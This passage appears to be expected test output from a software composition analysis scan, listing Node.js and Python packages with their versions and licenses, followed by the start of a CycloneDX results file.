{'type': 'nodejs', 'name': 'object-keys', 'version': '1.0.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tar', 'version': '4.4.13', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'write-file-atomic', 'version': '2.4.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-cidr', 'version': '3.0.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'byte-size', 'version': '5.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'humanize-ms', 'version': '1.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ansi-regex', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-expression-parse', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wcwidth', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yallist', 'version': '3.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-npm', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tiny-relative-date', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'got', 'version': '6.7.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'unzip-response', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-finally', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'spdx-correct', 'version': '3.0.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'through', 'version': '2.3.8', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'object-assign', 'version': '4.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isexe', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-package-arg', 'version': '6.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'osenv', 'version': '0.1.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'safe-buffer', 'version': '5.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-redirect', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'chownr', 'version': '1.1.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'forever-agent', 'version': '0.6.1', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'fs-vacuum', 'version': '1.2.10', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-stream', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'os-homedir', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-parse', 'version': '1.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'promzard', 'version': '0.3.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'boxen', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'socks', 'version': '2.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'camelcase', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'dot-prop', 'version': '4.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'move-concurrently', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'typedarray', 'version': '0.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'punycode', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'abbrev', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'editor', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'gauge', 'version': '2.7.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-fullwidth-code-point', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'prr', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'qs', 'version': '6.5.2', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'strip-ansi', 'version': '4.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yargs', 'version': '14.2.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'JSONStream', 'version': '1.3.5', 'licenses': ['(MIT OR Apache-2.0)']}, {'type': 'nodejs', 'name': 'figgy-pudding', 'version': '3.5.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'getpass', 'version': '0.1.7', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'nopt', 'version': '4.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-normalize-package-bin', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'retry', 'version': '0.10.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'require-main-filename', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ansi-regex', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'es6-promise', 'version': '4.2.8', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'safe-buffer', 'version': '5.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'psl', 'version': '1.1.29', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'registry-auth-token', 'version': '3.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'strict-uri-encode', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'timed-out', 'version': '4.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tweetnacl', 'version': '0.14.5', 'licenses': ['Unlicense']}, {'type': 'nodejs', 'name': 'unique-filename', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'aws-sign2', 'version': '0.7.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'y18n', 'version': '4.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'util-deprecate', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmpublish', 'version': '1.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'pacote', 'version': '9.5.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-is-inside', 'version': '1.0.2', 'licenses': ['(WTFPL OR MIT)']}, {'type': 'nodejs', 'name': 'rimraf', 'version': '2.7.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ssri', 'version': '6.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-retry-allowed', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'iferr', 'version': '0.1.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'core-util-is', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'http-signature', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'byline', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'agentkeepalive', 'version': '3.5.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpmconfig', 'version': '1.2.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpmhook', 'version': '5.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'make-dir', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minimatch', 'version': '3.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ms', 'version': '2.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string_decoder', 'version': '0.10.31', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yarn', 'version': '1.22.5', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'umask', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'caseless', 'version': '0.12.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'detect-indent', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fast-deep-equal', 'version': '3.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'jsprim', 'version': '1.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'node-fetch-npm', 'version': '2.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'pify', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'semver-diff', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'brace-expansion', 'version': '1.1.11', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-limit', 'version': '2.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'through2', 'version': '2.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'genfun', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'safer-buffer', 'version': '2.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'stream-each', 'version': '1.2.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'validate-npm-package-license', 'version': '3.0.4', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'xdg-basedir', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'deep-extend', 'version': '0.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'errno', 'version': '0.1.7', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ajv', 'version': '6.12.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'infer-owner', 'version': '1.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'ci-info', 'version': '1.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.union', 'version': '4.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash.without', 'version': '4.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'term-size', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cyclist', 'version': '0.2.2', 'licenses': []}, {'type': 'nodejs', 'name': 'columnify', 'version': '1.5.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'end-of-stream', 'version': '1.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-packlist', 'version': '1.4.8', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'stream-iterate', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'are-we-there-yet', 'version': '1.1.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'console-control-strings', 'version': '1.1.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'defaults', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'hosted-git-info', 'version': '2.8.8', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'imurmurhash', 'version': '0.1.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'promise-retry', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'protoduck', 'version': '5.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-package-json', 'version': '2.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'bin-links', 'version': '1.1.8', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'json-parse-better-errors', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'pumpify', 'version': '1.5.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'supports-color', 'version': '5.4.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'encoding', 'version': '0.1.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'aproba', 'version': '1.2.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'decamelize', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'has-unicode', 'version': '2.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-typedarray', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-cmd-shim', 'version': '1.0.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'sorted-union-stream', 'version': '2.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'url-parse-lax', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cmd-shim', 'version': '3.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'extend', 'version': '3.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'wrap-ansi', 'version': '5.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cliui', 'version': '5.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'lodash.clonedeep', 'version': '4.5.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'proto-list', 'version': '1.2.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'query-string', 'version': '6.8.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'es6-promisify', 'version': '5.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fast-json-stable-stringify', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'form-data', 'version': '2.3.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'jsonparse', 'version': '1.3.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-pick-manifest', 'version': '3.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'stringify-package', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'tough-cookie', 'version': '2.4.3', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'which', 'version': '1.3.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'balanced-match', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cidr-regex', 'version': '2.0.10', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'decode-uri-component', 'version': '0.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'get-stream', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'http-cache-semantics', 'version': '3.8.1', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'inflight', 'version': '1.0.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'readdir-scoped-modules', 'version': '1.1.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'unique-string', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'asap', 'version': '2.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'graceful-fs', 'version': '4.2.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'iconv-lite', 'version': '0.4.23', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'unique-slug', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'which-module', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'err-code', 'version': '1.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ansi-regex', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'color-name', 'version': '1.1.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'combined-stream', 'version': '1.0.6', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'crypto-random-string', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'p-locate', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-bundled', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'oauth-sign', 'version': '0.9.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'ansi-align', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'aproba', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'function-bind', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'has-symbols', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'registry-url', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'strip-ansi', 'version': '3.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'agent-base', 'version': '4.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'widest-line', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'split-on-first', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'capture-stack-trace', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'config-chain', 'version': '1.1.12', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'err-code', 'version': '1.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'har-validator', 'version': '5.1.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ip-regex', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'qrcode-terminal', 'version': '0.12.0', 'licenses': ['Apache 2.0']}, {'type': 'nodejs', 'name': 'request', 'version': '2.88.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'ansicolors', 'version': '0.3.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'fs.realpath', 'version': '1.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'p-try', 'version': '2.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._cacheindexof', 'version': '3.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'safe-buffer', 'version': '5.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'tunnel-agent', 'version': '0.6.0', 'licenses': ['Apache-2.0']}, {'type': 'nodejs', 'name': 'archy', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'once', 'version': '1.4.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npm-install-checks', 'version': '3.0.2', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'colors', 'version': '1.3.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'es-to-primitive', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libcipm', 'version': '4.0.8', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'uid-number', 'version': '0.0.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'update-notifier', 'version': '2.5.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'assert-plus', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'has', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'http-proxy-agent', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'inherits', 'version': '2.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-callable', 'version': '1.1.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'uri-js', 'version': '4.4.0', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'call-limit', 'version': '1.1.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'concat-stream', 'version': '1.6.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'duplexify', 'version': '3.6.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'json-schema-traverse', 'version': '0.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'json-stringify-safe', 'version': '5.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'make-fetch-happen', 'version': '5.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'resolve-from', 'version': '4.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string-width', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'punycode', 'version': '1.4.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-symbol', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'duplexer3', 'version': '0.1.4', 'licenses': ['BSD-3-Clause']}, {'type': 'nodejs', 'name': 'ecc-jsbn', 'version': '0.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'find-npm-prefix', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'global-dirs', 'version': '0.1.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-logical-tree', 'version': '1.2.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'performance-now', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'builtins', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-regex', 'version': '1.0.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'json-schema', 'version': '0.2.3', 'licenses': ['AFLv2.1']}, {'type': 'nodejs', 'name': 'latest-version', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lock-verify', 'version': '2.1.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'read', 'version': '1.0.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'agent-base', 'version': '4.2.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm', 'version': '6.14.12', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'ip', 'version': '1.1.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cross-spawn', 'version': '5.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'env-paths', 'version': '2.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-path-inside', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._createset', 'version': '4.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._getnative', 'version': '3.9.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'object.getownpropertydescriptors', 'version': '2.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'pump', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'bluebird', 'version': '3.5.5', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isarray', 'version': '0.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'text-table', 'version': '0.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'util-extend', 'version': '1.0.3', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'run-queue', 'version': '1.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'fs-write-stream-atomic', 'version': '1.0.10', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'is-obj', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isarray', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lodash._baseindexof', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cli-columns', 'version': '3.1.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'har-schema', 'version': '2.0.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'find-up', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'path-key', 'version': '2.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'shebang-command', 'version': '1.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'verror', 'version': '1.10.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'is-fullwidth-code-point', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'debug', 'version': '3.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'debuglog', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'delegates', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'lazy-property', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'locate-path', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'mime-types', 'version': '2.1.19', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-registry-fetch', 'version': '4.0.7', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'copy-concurrently', 'version': '1.0.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'npmlog', 'version': '4.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'signal-exit', 'version': '3.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'util-promisify', 'version': '2.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-run-path', 'version': '2.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'glob', 'version': '7.1.6', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'init-package-json', 'version': '1.10.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpmsearch', 'version': '2.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'libnpmteam', 'version': '1.0.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'smart-buffer', 'version': '4.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'get-caller-file', 'version': '2.0.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'color-convert', 'version': '1.9.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'yallist', 'version': '2.1.2', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'lowercase-keys', 'version': '1.0.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'stream-shift', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-cli-docs', 'version': '0.1.0', 'licenses': ['Artistic-2.0']}, {'type': 'nodejs', 'name': 'lru-cache', 'version': '4.1.5', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'dotenv', 'version': '5.0.1', 'licenses': ['BSD-2-Clause']}, {'type': 'nodejs', 'name': 'es-abstract', 'version': '1.12.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'promise-inflight', 'version': '1.0.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'pump', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'camelcase', 'version': '5.3.1', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cli-boxes', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'ci-info', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'minipass', 'version': '2.9.0', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'node-gyp', 'version': '5.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'npm-profile', 'version': '4.0.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'strip-eof', 'version': '1.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'cacache', 'version': '12.0.3', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'clone', 'version': '1.0.4', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'code-point-at', 'version': '1.1.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'string-width', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'os-tmpdir', 'version': '1.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'aws4', 'version': '1.8.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'get-stream', 'version': '3.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'read-package-tree', 'version': '5.3.1', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'socks-proxy-agent', 'version': '4.0.2', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'from2', 'version': '1.3.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'strip-ansi', 'version': '5.2.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'libnpx', 'version': '10.2.4', 'licenses': ['ISC']}, {'type': 'nodejs', 'name': 'mime-db', 'version': '1.35.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'process-nextick-args', 'version': '2.0.0', 'licenses': ['MIT']}, {'type': 'nodejs', 'name': 'isstream', 'version': '0.1.2', 'licenses': ['MIT']}, {'type': 'python', 'name': 'configobj', 'version': '5.0.6', 'licenses': ['UNKNOWN']}, {'type': 'python', 'name': 'mercurial', 'version': '4.0', 'licenses': ['GNU GPLv2 or any later version']}, {'type': 'python', 'name': 'six', 'version': '1.10.0', 'licenses': ['MIT']}, {'type': 'python', 'name': 'python', 'version': '2.7.13', 'licenses': ['PSF license']}, {'type': 'python', 'name': 'wsgiref', 'version': '0.1.2', 'licenses': ['PSF or ZPL']}, {'type': 'python', 'name': 'argparse', 'version': '1.2.1', 'licenses': ['Python Software Foundation License']}, {'type': 'python', 'name': 'bzr', 'version': '2.8.0dev1', 'licenses': ['GNU GPL v2']}], 'relatedResourceId': 'jobs.container-test-job'} ================================================ FILE: tests/sca_image/outputs/results_cyclonedx.xml ================================================ 2023-10-25T07:58:16.083818+00:00 CycloneDX cyclonedx-python-lib 5.0.0 